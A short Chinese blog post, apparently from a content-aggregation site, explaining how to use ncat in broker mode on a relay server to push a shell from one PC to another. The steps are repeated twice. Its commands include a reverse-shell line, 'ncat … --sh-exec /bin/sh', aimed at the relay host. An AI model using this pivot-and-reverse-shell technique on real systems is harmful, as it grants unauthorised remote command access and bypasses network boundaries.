网络拓扑 :

目标 :
将 10.10.2.2 (被管理者) 的 shell 反弹至 10.10.1.2 (管理员)
步骤 :
1. 在文件服务器(192.168.1.4)上执行 :
ncat -l 8888 --broker
2. 在管理员PC上执行
ncat 192.168.1.4 8888
3. 在被管理者PC上执行
ncat 192.168.1.4 8888 --sh-exec /bin/sh
将 10.10.2.2 (被管理者) 的 shell 反弹至 10.10.1.2 (管理员)
1. 在文件服务器(192.168.1.4)上执行 :
ncat -l 8888 --broker
2. 在管理员PC上执行
ncat 192.168.1.4 8888
3. 在被管理者PC上执行
ncat 192.168.1.4 8888 --sh-exec /bin/sh
本文标题:利用ncat作为跳板机进行shell反弹
本文链接:https://www.haomeiwen.com/subject/uzevkxtx.html
网友评论